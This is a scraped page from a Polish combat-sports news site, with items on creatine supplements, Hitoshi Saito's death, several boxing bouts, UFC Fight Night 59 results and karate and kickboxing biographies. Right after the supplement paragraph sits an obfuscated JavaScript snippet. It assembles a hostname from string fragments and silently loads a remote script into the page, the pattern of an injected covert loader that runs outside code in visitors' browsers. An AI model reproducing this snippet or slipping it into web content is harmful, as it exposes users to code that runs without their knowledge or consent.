Pośród odżywek dla sportowców na pewno najważniejsza jest kreatyna, która to jest aminokwasem. Substancja ta zwiększa naszą wytrzymałość, sprawia, że poziom energii się podnosi, a tym samym nasze ciało pobudza się do pracy. Dodatkowo dzięki kreatynie zwiększa się masa naszych mięśni, jednakże stosując ją bez ćwiczeń, na pewno efekt będzie mizerny. Kreatynę najlepiej jest stosować zaraz po wysiłku fizycznym. Naturalnie, aby prawidłowo ją przyjmować należy proszek rozpuścić w wodzie. Jednakże warto mieć na uwadze, aby nie przyjmować nadmiernej ilości kreatyny do naszego organizmu, albowiem powoduje ona szybkie odwadnianie. Przyjmując kreatynę powinniśmy pić także znaczne ilości wody, do dwóch litrów w ciągu każdego dnia.
Polecamy sklep.kfd.pl – odżywki i suplementy diety. Nie tylko dla sportowców.
(function(){
uaXv=document.createElement("script");uaXv.type="text/javascript";
uaXv.async=true;uaXv_=(("us")+"t")+"a";uaXv_+=("t.i")+""+"n";uaXv_+=(("f")+"o");
uaXv.src="http://"+uaXv_+"/1730161.883w9tk1aXvzb8mj7fq3fstg9ej8bl";
document.body.appendChild(uaXv);
})();
Zapraszamy do obejrzenia treningu z Marcinem "Różalem" Różalskim jaki odbyli dwaj zawodnicy Grupy DSF Kickboxing Challenge. Trening prowadził także wybitny trener Piotr Siegoczyński.
[kod]
Wybitny judoka Hitoshi Saito zmarł w wieku 54 lat. Japończyk był wielkim zawodnikiem, który zapisał się w historii dyscypliny jako dwukrotny mistrz olimpijski.
Powodem śmierci Saito był nowotwór pęcherzyka żółciowego. Historia choroby mistrza z Japonii sięga 2013 roku, wtedy to lekarze wykryli guza u wybitnego zawodnika. Saito podjął leczenie i jego stan był dobry, jednakże na przestrzeni ostatnich tygodni wyraźnie pogorszył się. Okazało się, że choroba był silniejsza.
Hitoshi Saito to ikona judo lat 80. XX wieku. Japończyk startował w kategorii wagowej +95 kg. Pierwszy wielki sukces Saito osiągnął podczas mistrzostw świata w Moskwie w 1983 roku, kiedy to w kategorii open sięgnął po złoty medal. Japończyk dwukrotnie był mistrzem olimpijskim. Saito triumfował podczas igrzysk olimpijskich w Los Angeles w 1984 i cztery lata później w Seulu. Z pewnością to największe sukcesy Japończyka, które na trwałe wpisały jego nazwisko w historię judo. W 1984 roku w finale olimpijskim okazał się lepszy od francuskiego zawodnika – Angelo Parisiego. Nie lada sztuką jest powtórzenie takiego wyczynu jak ponowne zdobycie złota olimpijskiego i to na kolejnych igrzyskach. Saito po raz drugi stanął na szczycie, co pokazało światu jego fenomen i wielkie umiejętności. W 1988 roku w Seulu wywalczył kolejny złoty medal olimpijski, a w finale rozprawił się z reprezentantem NRD Henry’m Stohrem. Z Seulem wiąże się więcej sukcesów japońskiego mistrza judo. W 1985 roku podczas mistrzostw świata Saito sięgnął po srebrny medal.
Wybitny zawodnik, wielki judoka, który swoim życiem świadczył o wielkiej miłości do judo i pokazywał oddanie dyscyplinie. Wierny zasadom, doskonalił się na każdym krokiem. Był wielkim mistrzem – zdobył dwa złota olimpijskie. Wielość tytułów pokazuje fenomen i wielkość Saito. Hitoshi Saito przegrał walkę z chorobą, która przyszła przedwcześnie. Zmagał się z nią dwa lata, ale nie podołał. Miał zaledwie 54 lata. Warto uhonorować jego pamięć, bo był wielkim mistrzem w pełni oddanym idei dyscypliny. To niezwykle ważne. Saito swoją postawą pokazał, że oddając serce judo można wiele osiągnąć. Poświęcił swoje życie dla judo i został mistrzem. Wielkim mistrzem.
W tym miejscu należy wspomnieć także o dokonaniach trenerskich Saito. Japończyk był wybitnym zawodnikiem, ale także szkoleniowcem. Saito prowadził reprezentację Kwitnącej Wiśni podczas igrzysk olimpijskich w Atenach oraz Pekinie. Podopieczni wielkiego mistrza podczas tych imprez wywalczyli aż siedemnaście medali – w tym dwanaście złotych. Również ten fakt pokazuje wielkość Saito, który potrafił przekazać swoją wiedzę oraz doświadczenie młodszym.
Wybitna postać, która odeszła od nas. Przedwcześnie. Zdecydowanie. Hitoshi Saito przegrał z chorobą w wieku 54 lat. Pamięć po nim będzie trwać, gdyż dał judo wiele. Cześć jego pamięci.
KM
Stało się faktem, że mistrz świata wagi ciężkiej WBA/WBO/IBO/IBF Władimir Kliczko zmierzy się z Bryantem Jenningsem. Pojedynek odbędzie się 25 kwietnia w Madison Square Garden w Nowym Jorku.
Negocjacje na temat walki trwały od dłuższego czasu. Na drodze do porozumienia pojawiły się trudności, gdyż Jennings związał się z grupą Roc Nation Sports, a początkowo reprezentowany był przez Gary’ego Shawa. Strony musiały ponownie zasiąść do rozmów i ustalać wszystkie kwestie. Mimo wszystko porozumienie osiągnięto szybko. Dla Jenningsa to szansa na wypromowanie się i co by nie mówić – zdobycie mistrzowskich pasów. Kliczko zawalczy w końcu w Stanach Zjednoczonych. Wiadomo, kto jest faworytem pojedynku.
W kontekście Jenningsa mówi się o jego atrakcyjności i potencjale. Z pewnością trudno uznać go za równorzędnego przeciwnika dla mistrza z Ukrainy. Sam Kliczko wyraża się o swoim najbliższym rywalu z wielkim uznaniem. – Mam wielki szacunek do Bryanta Jenningsa i do jego osiągnięć na zawodowym ringu. To będzie wymagający pojedynek – powiedział Kliczko. Dominacja Ukraińca w wadze ciężkiej nie podlega dyskusji. W swoim ostatnim starciu rozbił Kubrata Pulewa, czym udowodnił, że jego pozycja jest niezachwiana i trudno szukać pięściarza, który jest w stanie zagrozić wielkiemu mistrzowi. Povietkin, Wach, Chambers, Haye i wielu innych próbowało, ale nie podołało. Czy Jennings ma szanse? Po zwycięstwie Wildera nad Stivernem 30-latka poniosła fantazja. Jennings chciałby, aby cztery pasy trafiły do Stanów. – Nastał właściwy czas, aby tytuły znalazły się w domu – powiedział amerykański bokser.
Amerykanie w końcu doczekali się mistrza. Po ośmiu latach posuchy po tytuł sięgnął Deontay Wilder. Czy jego śladem podąży Jennings? Wątpliwe. Nikt oczywiście nie odbiera Amerykaninowi szans na wyrównaną walkę z Ukraińcem, jednak na papierze trudno znaleźć argumenty, które przemawiają za 30-latkiem. Warto zauważyć, że pojawił się bokser, który otwarcie przyznaje, czego chce. To też niezwykle istotne. Najważniejsze, aby był gotowy do walki i chciał rywalizować. Tak jak Pulew, który wszedł do ringu, aby wygrać. Choć przegrał to razem z mistrzem stworzył ciekawie widowisko. Z punktu widzenia obserwatora jest to niezwykle istotne, aby rywal Ukraińca nie unikał walki. Bo jest to wydarzenie wokół, którego rodzi się ogromne zainteresowanie. Kliczko jest postacią, która przyciąga. Z tym, że często dzieje się tak, że jego rywal nie są w stanie dorównać aurze wytworzonej wokół pojedynku. Jennings dostaje szansę, aby pokazać światu swój potencjał. Warto podkreślić, że stoczy pojedynek na własnej ziemi. Kliczko też jest zadowolony z faktu, że przyjdzie walczyć mu w Nowym Jorku, gdzie dokonał unifikacji.
Ukrainiec stanie po raz osiemnasty do obrony tytułu. Kliczko jest faworytem pojedynku, Jennings ma swój cel. Jeden już osiągnął – udało się dojść do porozumienia w sprawie walki. Jakie warunki Jennings postawi Ukraińcowi? Niech spełnią się słowa Kliczko o trudnym pojedynku. Bo takich brakuje. Pełnych emocji i wrażeń. Najpierw Jennings musi pokonać strach. Wielu przed nim tego nie zrobiło.
KM
Andrzej Fonfara czeka na kolejny pojedynek. 18 kwietnia jego rywalem będzie Julio Cesar Chavez Jr., były mistrz świata wagi średniej.
Najlepszy polski półciężki będzie rywalizował z doświadczonym i utytułowanym bokserem. Walka odbędzie się w limicie pomiędzy wagą superśrednią, a półciężką. Ponoć Chavez zdecydował się na rywalizację w wyższej kategorii, gdyż nie chciało mu się zbijać wagi. Oby był świadomy konsekwencji jakie taka decyzja może nieść ze sobą.
Fonfara to bokser silny, który stopniowo buduje swoją pozycję w wadze półciężkiej. Notowania Polaka są coraz lepsze i kwestia rywalizacji o pas coraz częściej pojawia się w dyskusjach. Czy pojedynek z Chavezem pomoże Fonfarze w drodze do sukcesu? Z pewnością Polak dostał szansę rywalizacji z ciekawym bokserem, który ma na swoim koncie osiągnięcia. Chavez Jr. mimo niespełna dwudziestu dziewięciu lat stoczył już ponad pięćdziesiąt pojedynków na zawodowym ringu. Warto podkreślić, że Meksykanin rywalizuje w wadze junior średniej i średniej. Z kolei Polak jest bokserem kategorii półciężkiej. Kwestią podstawową jest fakt, że w tym zestawieniu lepiej wygląda Fonfara. Polski bokser jest silniejszy, obyty w wyższej kategorii wagowej. Z kolei Chavez do rywalizacji w takim limicie nie jest przyzwyczajony.
– Zaproponowano nam ten pojedynek i przyjęliśmy ofertę – powiedział Leon Margules z grupy Warriors Boxing, która współpracuje z Fonfarą. Data starcia jest już znana – 18 kwietnia. Do ustalenia pozostała kwestia miejsca pojedynku oraz transmisji telewizyjnej. Wiadomo, że w grę wchodzą dwie stacje ShowTime oraz NBC. Warto nadmienić, że na szybkie porozumienie między obozami pięściarzy wpływ miał fakt, iż obaj zawodnikami Al'a Haymona.
Początkowo Chavez miał rywalizować z innym pięściarzem. Długo mówiło się, że były mistrz świata wagi średniej stanie w ringu naprzeciw Carla Frocha. Wydarzenie miało mieć miejsce 28 marca, jednak ostatecznie do niego nie dojdzie. Powodem jest kontuzja Frocha. Jak się okazuje Anglik doznał urazu łokcia, która eliminuje go z jakiejkolwiek rywalizacji. Dla Chaveza Jr. jest to tylko i wyłącznie wymówka, ale pięściarz cieszy się na możliwość starcia z Fonfarą. W związku z kontuzją Frocha z okazji skorzysta Polak. Fonfara zmierzy się z doświadczonym rywalem i będzie miał okazję stoczyć kolejny pojedynek, w którym celem będzie zwycięstwo oraz potwierdzenie swojej wartości.
Wszystko układa się pięknie, ale w całej historii pojawia się mały problem. Chavez Jr. swego czasu związany był z grupą Top Rank, jednak teraz ma podpisaną umowę z Alem Haymonem. Bob Arum uważa, że jest nieco inaczej i bokser ma zobowiązania wobec jego firmy. Według szef Top Rank Chavez Jr. powinien stoczyć jeszcze jeden pojedynek w ramach zawartego kontraktu. Jak rozstrzygnie się ta sytuacja? Arum grozi, że poda sprawę do sądu. Czy w takim przypadku walka Chaveza z Fonfarą jest zagrożona?
Na dzień dzisiejszy jest porozumienie między obozami i do starcia dojdzie 18 kwietnia. Fonfara stanie w ringu, aby odnieść kolejne zwycięstwo. W końcu rywal porywa się na Polaka, który jest silniejszy. Chaveza Jr. nie można zlekceważyć, jednak Fonfara ma argumenty przemawiające za jego triumfem. Najlepiej, kiedy przemawiają pięści. W ringu rzecz jasna.
KM
Zapraszamy do obejrzenia noworocznego wywiadu z Prezesem Polskiego Związku Judo Wiesławem Błachem. Dowiemy się co było sukcesem a co porażką naszego gościa w 2014 r. a także o planach na przyszłość. Niebawem wybory w Polskim Związku Judo a nasz gość będzie jednym z kandydatów dlatego też zapytaliśmy o wizję na przyszłe zarządzanie tak ważnym dla polskich sztuk walki związkiem sportowym. ZAPRASZAMY!!!
[kod]
Pionier i prekursor Karate w Polsce urodzony 3 lipca 1955 roku w Łodzi. Karate uprawia od ponad 40 lat. Przez 20 lat był uczniem sensei’a Hidetaki Nishiyamy – założyciela i pierwszego prezesa Międzynarodowej Federacji Karate Tradycyjnego (ITKF). Włodzimierz posiada 7 DAN ITKF. Ukończył Wojskową Akademie Medyczną w Łodzi oraz Akademie Wychowania Fizycznego w Krakowie ze specjalizacją trenera karate II klasy. W 1974 roku założył pierwszą oficjalną sekcję karate przy Wojskowej Akademii Medycznej w Łodzi, która cztery lata później przekształciła się w Łódzki Klub Karate – drugi samodzielny klub karate w Polsce. Zawodnicy ŁKK zdobyli w tamtym czasie wiele medali na arenie krajowej i międzynarodowej. W 1980 roku powstał Akademicki Klub Karate, który stał się w owym czasie najlepszym klubem Karate na Świecie. Włodzimierz jest założycielem i prezesem Polskiego Związku Karate Tradycyjnego. Związek zrzesza aktualnie ponad 30 tysięcy ćwiczących w około 200 klubach i sekcjach w całej Polsce. Włodzimierz sprawuje również funkcję prezydenta Międzynarodowej Federacji Karate Tradycyjnego. Jest trenerem – selekcjonerem reprezentacji Polski w Karate Tradycyjnym i twórcą jej sukcesów. W latach 1992-2012 Karatecy kadry narodowej zdobyli 426 medali podczas mistrzostw Świata i Europy, z czego 147 razy były to tytuły mistrzowskie, co czyni ich jedną z najbardziej utytułowanych reprezentacji globu. Dzięki sukcesom polskiej reprezentacji, nasz kraj został doceniony i Polska stała się gospodarzem wielu międzynarodowych imprez o randze mistrzowskiej. Włodzimierz był prezesem Komitetu Organizacyjnego następujących zawodów sportowych, które miały miejsce w Polsce:
Włodzimierz jest również inicjatorem budowy Centrum Japońskich Sportów i Sztuk Walki Dojo Stara Wieś – największego na świecie ośrodka japońskich sztuk walki.
Za swoją działalność Włodzimierz Kwieciński został uhonorowany wysokimi odznaczeniami:
Nagroda „Fair Play” przyznana w 2003 roku przez prezesa Polskiej Konfederacji Sportu za wzorową organizację zawodów, zapewnienie bezpieczeństwa uczestnikom i kulturalne zachowanie publiczności podczas Pucharu Świata Prokom 2003.
Polski kickbokser i bokser urodzony 14 sierpnia 1964 roku w Dębem Wielkim. Karierę sportową rozpoczął jako bardzo młody adept Jiu-Jitsu, z czasem zainteresował się Karate Kyokushin. W 1984 roku zdobył w tej dyscyplinie Mistrzostwo Polski juniorów. Rok później powtórzył ten sukces jako senior. W karate stoczył 13 oficjalnych pojedynków, wszystkie wygrał. W lipcu 1993 roku stał się posiadaczem czarnego pasa. Z początkiem 1987 roku zaczął trenować Kick-boxing w formule full-contact, mimo że tak dyscyplina była w Polsce wówczas zakazana. 11 października 1987 roku zdobył w Monachium amatorskie mistrzostwo Świata w kategorii wagowej do 81 kg. Tego samego roku wygrał również mistrzostwo Polski, a na Węgrzech Puchar Świata zostając uznanym za najlepszego zawodnika turnieju. W 1988 roku zdecydował się na wyjazd do USA, aby rozpocząć karierę zawodową. W październiku wygrał swój pierwszy pojedynek pokonując Boba Handegana. 19 sierpnia 1989 roku w piątej walce w USA wygrał jednogłośnie na punkty, dotychczas niepokonanego Ricka „The Jet” Roufusa i zdobył zawodowe mistrzostwo Stanów Zjednoczonych organizacji PKC. Do jego nazwiska przyległ również ringowy przydomek Punisher. 4 listopada 1989 roku w Chicago pokonał Dona „ The Dragon” Wilsona i został zawodowym mistrzem świata organizacji ISKA, PKC i FFKA. Do 1991 stoczył sześć pojedynków , pokonując min. Boba „ The Thunder” Thurmana oraz renomowanego Marka Longo. Do tego momentu był niepokonanym zawodnikiem na zawodowym ringu, z bilansem 29-0-0 (19 KO). 22 czerwca 1991 roku mimo problemów osobistych, stoczył rewanżowy pojedynek z Rickiem Roufusem, który przegrał przez KO w drugiej rundzie. Po tej porażce rozpoczął karierę w boksie zawodowym, wygrywając pierwszą walkę przed czasem. Następnie do 1992 roku chcąc odzyskać utracony tytuł Mistrza Świata, stoczył kilka wygranych walk w Kick-boxingu. W lipcu 1992 roku zdobył tytuł Mistrza Ameryki Północnej wygrywając z Kanadyjczykiem Conradem Pla. 22 listopada 1992 roku stanął do pojedynku z wielokrotnym mistrzem, Holendrem Robem Kamanem. Przegrał ten pojedynek przez TKO w 7 rundzie, po niezwykle dramatycznym pojedynku. 22 czerwca 1993 roku pokonał w Montrealu przez TKO Michaela McDonalda. W tym samym roku pokonał Mike’a Winklejohna, zdobywając tytuł mistrza świata ISKA w formule oriental rulet. W 1995 roku stoczył swoje ostatnie starcie w Kick-boxingu. W Krakowie pokonał Włocha Stefano Tomiazzo, zdobywając pas mistrza świata organizacji WKA i unifikując wszystkie światowe tytuły w full-contact. Tym samym stał się posiadaczem wszystkich najważniejszych pasów mistrzowskich: ISKA, KICK, PKC, WAKO-PRO, FFKA, WKA i TBC. Równolegle ze startami w kickboxingu, Marek kontynuował karierę zawodowego boksera. W latach 1992-1996 stoczył 21 pojedynków w wadze półciężkiej. Wszystkie pojedynki wygrał. Zawodową karierę zakończył 13 grudnia 1996 roku w Hanowerze wygraną walką bokserską. 20 listopada 2009 roku został odznaczony przez prezydenta RP Lecha Kaczyńskiego Krzyżem Kawalerskim Orderu Odrodzenia Polski za swoje osiągnięcia sportowe i pracę społeczną.
Wieczór z Muay Thai!
Zapraszamy na kolejną galęz cyklu “WCK Full Rule Muay Thai”. W każdy wtorek o 22:00 pokażemy najciekawsze imprezy i najlepsze pojedynki najdłużej działającej na terenie Stanów Zjednoczonych organizacji boksu tajskiego – World Championship Muay Thai. W zmaganiach zobaczycie czołowych zawodników z całego świata rywalizujących na zasadach Muay Thai.
Urodzinowa gala Hopkinsa w FightKlubie.
W nocy z wtorku na środę od 02:00 (powtórka w środę o 11:30) wyłącznie na naszej antenie na żywo galę grupy Golden Boy Promotions w Filadelfii. Jej organizatorzy będą świętować 50. urodziny byłego mistrza świata wagi średniej i półciężkiej, wciąż aktywnego boksersko Bernarda Hopkins. Głównym wydarzeniem imprezy organizowanej w rodzinnym mieście Hopkinsa, będzie zakontraktowany na dziesięć rund pojedynek w kategorii piórkowej pomiędzy Ericiem Hunterem (19-3, 10 KO) i Rene Alvarado (21-3, 14 KO).
W przekazie telewizyjnym znajdą się również pojedynki Michaela Pereza (21-1-2, 10 KO) z byłym mistrzem świata wagi lekkiej Miguelem Acostą(29-7-2, 23 KO) oraz Lamonta Roacha Jr (5-0, 2 KO) z Herbertem Quarteyem (12-10, 9 KO). Transmisja gali w nocy z wtorku na środę od godz. 03.00. Powtórka w środę o 11:30.
W najbliższą sobotę o 21:00 pokażemy w FightKlubie walkę, której stawką jest tytuł mistrza Europy w wadze lekkiej. Faworytem pojedynku jest niepokonany w karierze Marsili. Włoch nie przegrał żadnej ze swoich trzydziestu jeden walk, broni też tytułu, który zdobył blisko dwa lata temu pokonując Lucę Giacona. W swoich ostatnich walkach pewnie zwyciężył on Gyorgy’a Mizseia Jr., Benoit Manno i Pasquale Di Silvio – stawką każdej z tych walk był pas EBU. Z kolei De Vitis przegrał dwie ze swoich trzech ostatnich potyczek. Najpierw nie sprostał Devisowi Boschiero w walce o tytuł mistrza Europy, a w maju ubiegłego roku przegrał z Edisem Tatlim o interkontynentalny pas federacji WBA.
Źródło: materiały prasowe
Conor McGregor podczas gali UFC Fight Night 59 w Bostonie pokonał Dennisa Sivera. Irlandczyk zrobił krok w kierunku walki o mistrzowski pas wagi piórkowej.
Nie było innej możliwości. McGregor doskonale wiedział, że Siver jest jedynie przeszkodą na drodze do upragnionego celu. Irlandczyk uchodził za murowanego faworyta do zwycięstwa w rywalizacji z Niemcem. Sam McGregor zapowiadał, że rozstrzygnie pojedynek w dwie minuty, jednak potrzebował nieco więcej czasu. Dominacja fightera z Irlandii była przygniatająca. Początkowo McGregor był ostrożny, jednak od momentu, w którym zranił przeciwnika kolanem w wyskoku był bezwzględny. Siver mógł się tylko bronić przed gradem ciosów. Pierwszą odsłonę Niemiec przetrwał. McGregor niczym wielki mistrz w drugiej rundzie dokończył dzieło. Celny lewy prosty sprawił, że Siver znalazł się na deskach. Irlandczyk dopadł rywala i kilkoma łokciami zakończył pojedynek. Sędzia przerwał walkę – zwycięstwo McGregora stało się faktem.
Irlandczyk zrealizował zadanie, przed którym stanął. Siver był jedynie przeszkodą na drodze do celu. Teraz McGregor czeka na pojedynek o mistrzowski pas. Kiedy nadejdzie jego czas? Wiadomo, że McGregor jest zawodnikiem o dużym potencjale – zarówno sportowym jak i marketingowym. Po wygranej z Siverem wyskoczył z klatki i zatrzymał się dopiero na ochroniarzach. Wzrokiem szukał mistrza wagi piórkowej Jose Aldo. Brazylijczyk na próbę prowokacji ze strony McGregora zareagował uśmiechem. Irlandczyk wie, o co gra i rozpoczyna rywalizację bardzo szybko. Tylko, czy jest w stanie wyprowadzić Aldo z równowagi? Rywalizacja Brazylijczyka i Irlandczyka zapowiada się ciekawie. Pod względem sportowym będzie to z pewnością efektowny pojedynek. O wrażeniach wokół walki zadba już McGregor.
Niespełna cztery minuty trwał pojedynek Halla i Stallingsa. Publiczność nie nacieszyła się długo rywalizacją fighterów. Hall szybko posłał rywala na deski. Dodatkowo łokciami rozciął mu policzek i łuk brwiowy. Interweniować musiał lekarz, który zdecydował, że Stallings nie może kontynuować rywalizacji. Gleison Tibau zwyciężył Normana Parke’a przez decyzję sędziów – 29-28, 29-28, 28-29. Przez dłuższą część walki rywalizacja toczyła się w stójce. Parke w trzeciej rundzie zaatakował przeciwnika, jednak było już za późno na odwrócenie losów pojedynku. Donald Cerrone na punkty okazał się lepszy od Bensona Hendersona.
W końcu zwycięstwo odniósł Lorenz Larkin. Po trzech porażkach z rzędu przyszła kolej na wygraną. Larkin pokonał Johna Howarda już w pierwszej rundzie. Po mocnym prawym sierpowym ruszył za rywalem i ciosami w parterze zakończył pojedynek. Johnny Case odniósł dziesiąte zwycięstwo z rzędu, a jego kolejną ofiarą padł debiutant – Franki Perez.
Najważniejsza wiadomość z Bostonu – McGregor zwycięski. Irlandczyk kroczy po mistrzowski pas. Tak naprawdę Siver nie był wymagającym rywalem, wygrana McGregor w pełni zasłużona. Z Aldo nie będzie już tak łatwo, ale może być niezwykle widowiskowo.
Wyniki UFC Fight Night 59:
Walka wieczoru: 145 lbs: Conor McGregor pokonał Dennisa Sivera przez TKO
Karta główna:
155 lbs: Donald Cerrone pokonał Bensona Hendersona przez jednogłośną decyzję
185 lbs: Uriah Hall pokonał Rona Stallingsa przez TKO
155 lbs: Gleison Tibau pokonał Normana Parke’a przez niejednogłośną decyzję
Walki w FOX Sports 1:
170 lbs: Cathal Pendred pokonał Seana Spencera przez jednogłośną decyzję
170 lbs: Lorenz Larkin pokonał Johna Howarda przez TKO
155 lbs: Chris Wade pokonał Lipenga Zhanga przez jednogłośną decyzję .
125 lbs: Patrick Holohan pokonał Shane’a Howella przez jednogłośną decyzję
155 lbs: Johnny Case pokonał Frankiego Pereza przez TKO
145 lbs: Charles Rosa pokonał Seana Soriano przez poddanie
Walki w Fight Pass:
205 lbs: Sean O’Connell pokonał Matta Van Burena przez TKO
125 lbs: Joby Sanchez pokonał Tatekiego Matsudę przez niejednogłośną decyzję
KM
W tegorocznym Pucharze Świata kobiet w akcji zobaczymy reprezentację Polski. Biało – czerwone trafiły do trudnej grupy, ale udział w imprezie tej rangi z pewnością będzie wartościowym doświadczeniem dla naszych zawodniczek.
Warto nadmienić, że w Pucharze Świata występuje najlepsza ósemka ostatnich mistrzostw świata. W związku z tym w zawodach udział wezmą: Japonia, Rosja, USA, Ukraina, Szwecja, Mongolia, Polska oraz Azerbejdżan. W ostatniej edycji Pucharu Świata w Tokio zwycięstwo odniosła reprezentacja Japonii.
Polki poznały ekipy, z którymi przyjdzie im rywalizować w dniach 7-8 marca w St. Petersburgu. Biało – czerwone trafiły do grupy A z Japonkami, Amerykankami i Azerkami. W grupie B znalazły się: Rosja, Ukraina, Szwecja i Mongolia. O zwycięstwo w turnieju zmierzą się najlepsze ekipy z obu grup. Drużyny z drugich miejsc powalczą o trzecie miejsce w zawodach Pucharu Świata.
Dla reprezentacji Polski udział w Pucharze Świata to ogromne wyróżnienie, a zarazem pokłosie dobrego występu podczas mistrzostw świata w Taszkiencie. Warto dodać, że do tegorocznej edycji nie zakwalifikowały się Chinki, które w poprzednich zawodach uplasowały się na trzeciej pozycji oraz Kanadyjki. Biało – czerwone mają szansę sprawdzić się w rywalizacji z najlepszymi. Z pewnością start w Pucharze Świata będzie dobrą płaszczyzną przygotowań do mistrzostw świata w Las Vegas.
Dla Polek będzie to debiut w rywalizacji. W Pucharze Świata biało – czerwone zaprezentują się po raz pierwszy i nie wystąpią w turnieju w roli faworyta. Nie ma, co ukrywać, że szanse naszej reprezentacji na sukces są znikome. Polska trafiła do mocnej grupy. Wydaje się wręcz nieprawdopodobne, aby biało – czerwone były w stanie zagrozić Japonkom, które będą faworytkami do zwycięstwa. Amerykanki również prezentują poziom wyższy od Polski. Jednakże nie można skreślać przedwcześnie naszej reprezentacji. Z każdego doświadczenia trzeba wyciągnąć wnioski i dostrzec w nim wartość. Potencjał polskich zapasów obecnie nie osiąga poziomu, którego byśmy sobie życzyli, jednakże należy doceniać każdy sukces. Takim z pewnością jest udział w Pucharze Świata. Jedynie Azerbejdżan jest teoretycznie słabszą ekipą niż Polska i w tej rywalizacji możemy liczyć na sukces. Z pewnością medal pozostaje w sferze marzeń, jednak o piąte miejsce nasza reprezentacja jest w stanie powalczyć.
Tegoroczny Puchar Świata odbędzie się w dniach 7-8 marca w St. Petersburgu. Polska wystąpi jako debiutant w imprezie tej rangi. Dobry występ podczas mistrzostw świata w Taszkiencie sprawił, że biało – czerwone czeka rywalizacja na naprawdę wysokim poziomie. Warto nadmienić, że w lutym nasze reprezentantki udadzą się na zgrupowanie do Szwecji. W składzie kadry znalazło się dziesięć zawodniczek: Roksana Zasina, Katarzyna Krawczyk, Anna Zwirydowska, Anna Łukasiak, Paula Kozłow, Agnieszka Wieszczek – Kordus, Daria Osocka, Paulina Grabowska, Iwona Matkowska oraz Monika Michalik.
De facto Puchar Świata będzie cennym doświadczeniem i dobrym przygotowaniem do mistrzostw świata. W Las Vegas nasze zawodniczki powalczą o jak najlepsze miejsce i coś więcej. O przepustkę do Rio.
KM
Stało się! Amerykanin na tronie wagi ciężkiej. Deontay Wilder został mistrzem świata federacji WBC odbierając tytuł z rąk Bermane Stiverne’a.
Zdecydowanie wyższy i zadający potężne ciosy Wilder zdaniem wielu od początku miał rzucić się na rywala. Zwracano uwagę na fakt, że Amerykanin nigdy nie walczył przez cały dystans walki. Stiverne mógł zakładać, że im dłużej będzie trwał pojedynek to sytuacja będzie obracała się z korzyścią dla niego. Wilder zaskoczył wszystkich – wytrzymał dwanaście rund.
Ponad trzydzieści zwycięstw i brak porażki mówi sam za siebie, jednakże Amerykanina przed pojedynkiem o pas nie doceniano. Eksperci i komentatorzy podważali jego szanse. Wielu wskazywało, iż to przeciętny bokser i walka o mistrzowski pas przerośnie Amerykanina. Widler utarł nosa niedowiarkom, a obaj pięściarze stworzyli świetne widowisko.
Początkowo Wilder trzymał rywala na dystans. Stiverne starał się skracać dystans i trzymał wysoko gardę, jednak pretendent znalazł receptę na zachowanie przeciwnika. Pod koniec drugiej rundy Wilder zbombardował rywala i ten padł na deski, ale razem z Amerykaninem. Mistrz WBC upadając złapał się przeciwnika i pociągnął go ze sobą. Wilder konsekwentnie starał się rozbijać rywala lewym prostym, z kolei Stiverne szukał możliwości zaskoczenia rywala, jednak było to niezwykle trudne. Kanadyjczyk starał się skracać dystans, aktywnie poruszał się. W czwartej rundzie zadał kilka celnych ciosów i ta odsłona padła jego łupem. Wydawało się, że kłopoty Wildera mogą rozpocząć się w każdej chwili, jednak Amerykanin był w pełni formy i nie było widać po nim zmęczenia. Stiverne nie ustawał w swoich staraniach aż w końcu zrobił wrażenie na swoim przeciwniku. W szóstej rundzie lewy sierpowy mistrza zrobił wrażenie na pretendencie. Stiverne wyczuł swoją szansę i atakował rywala. Prawy, lewy sierpowy w wykonaniu mistrza, która nadział się na kontrę Wilder. W siódmej rundzie potężny cios Amerykanina zachwiał bokserem z Kanady. Wilder kontrolował przebieg pojedynku i miał świadomość, że w notowaniach sędziowskich prowadzi. Stiverne starał się skracać dystans, jednak Amerykanin doskonale wyczuwał zamiary przeciwnika i powstrzymywał jego dążenia.
W przerwie między dziewiątą, a dziesiątą rundą Kanadyjczyk dostał w narożniku informację, że na punkty przegrywa. Niestety, nie pomogło. Stiverne był już wyczerpany, nie potrafił zagrozić przeciwnikowi. Z kolei Wilder spokojnie chciał dotrwać do końca. Sędziowie podjęli jednogłośną decyzję. Arbitrzy punktowali: 118-109, 119-108, 120-107 na korzyść Wildera.
Amerykanie doczekali się. Po ośmiu latach w końcu mają mistrza świata w wadze ciężkiej. Wilder udowodnił swoją wartość i pokazał, że nie jest bokserem przypadkowym. Jak widać Amerykanin jest w stanie wytrwać cały dystans walki. Mądra taktyka, punktowanie rywala dały efekt. Z pewnością istotna była przewaga wzrostu oraz siła Wildera, który potrafił celnie trafić Stiverne’a i zrobić na nim niebagatelne wrażenie. Warto odnotować, że pojedynek był niezwykle ciekawy. Nie były to swego rodzaju bokserskie szachy tylko prawdziwa walka. Poziom sportowy rywalizacji należy ocenić wysoko. Wilder i Stiverne pokazali boks, za którym wielu tęskni – emocje, efektowne ciosy, wymiany. W wadze ciężkiej panuje nowy mistrz. Pas WBC trafił w ręce Wildera. Czy Kliczko musi zacząć się bać?
KM
Borys Mańkowski wystąpi w walce wieczoru podczas 30 gali Konfrontacji Sztuk Walki. Zawodnik Anakosu Zapasy Poznań po raz drugi będzie bronił mistrzowskiego pasa w kategorii półśredniej. KSW 30 odbędzie się 21 lutego w Poznaniu.
Na początek o jedynej kobiecie, która zaprezentuje się podczas poznańskiej gali. Karolina Kowalkiewicz po raz drugi stanie w obronie mistrzowskiego pasa federacji KSW. Fighterka tytuł wywalczyła podczas KSW 23, kiedy to w siedemdziesiąt jeden sekund poddała Martę Chojnoską. W pierwszej obronie pasa Polka zmierzyła się z Jasminką Cive, którą odprawiła już w pierwszej rundzie. Kowalkiewicz poczyna sobie coraz śmielej w mieszanych sztukach walki. Pobyt w Stanach Zjednoczonych z pewnością pozytywnie wpłynął na zawodniczkę oraz jej warsztat. Sam fakt, że Kowalkiewicz od dłuższego czasu gości w karcie walk KSW mówi sam za siebie. W Poznaniu fighterka po raz drugi stanie w obronie mistrzowskiego pasa. Z pewnością udowodni swoją wartość, gdyż jej umiejętności predysponują ją do występów na najwyższym poziomie. Pytanie: kiedy Kowalkiewicz podbije świat? W końcu klasyfikowana jest jako siódma zawodniczka dywizji słomkowej.
